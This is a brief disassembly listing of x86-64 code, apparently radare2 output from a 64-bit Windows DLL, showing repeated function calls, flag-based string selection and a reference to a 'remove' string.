nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
test al, 4
je 0x1800623d7
lea rbx, [0x1800f3668]
jmp 0x1800623eb
test al, 2
lea rbx, [0x1800f3680]
lea rax, [0x1800f3698]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002e00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xd8]
call fcn.1800037d0
lea rdx, [0x180217450]
lea rcx, [rsp + 0xd8]
call fcn.18008cbf0
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
test al, 4
je 0x180062443
lea rbx, [0x1800f3668]
jmp 0x180062457
test al, 2
lea rbx, [0x1800f3680]
lea rax, [0x1800f3698]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002e00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x100]
call fcn.1800037d0
lea rdx, [0x180217450]
lea rcx, [rsp + 0x100]
call fcn.18008cbf0
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
lea rcx, str.remove
call fcn.18002bb10
nop
call fcn.1800997f4
int3
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
nop
call fcn.1800997f4
int3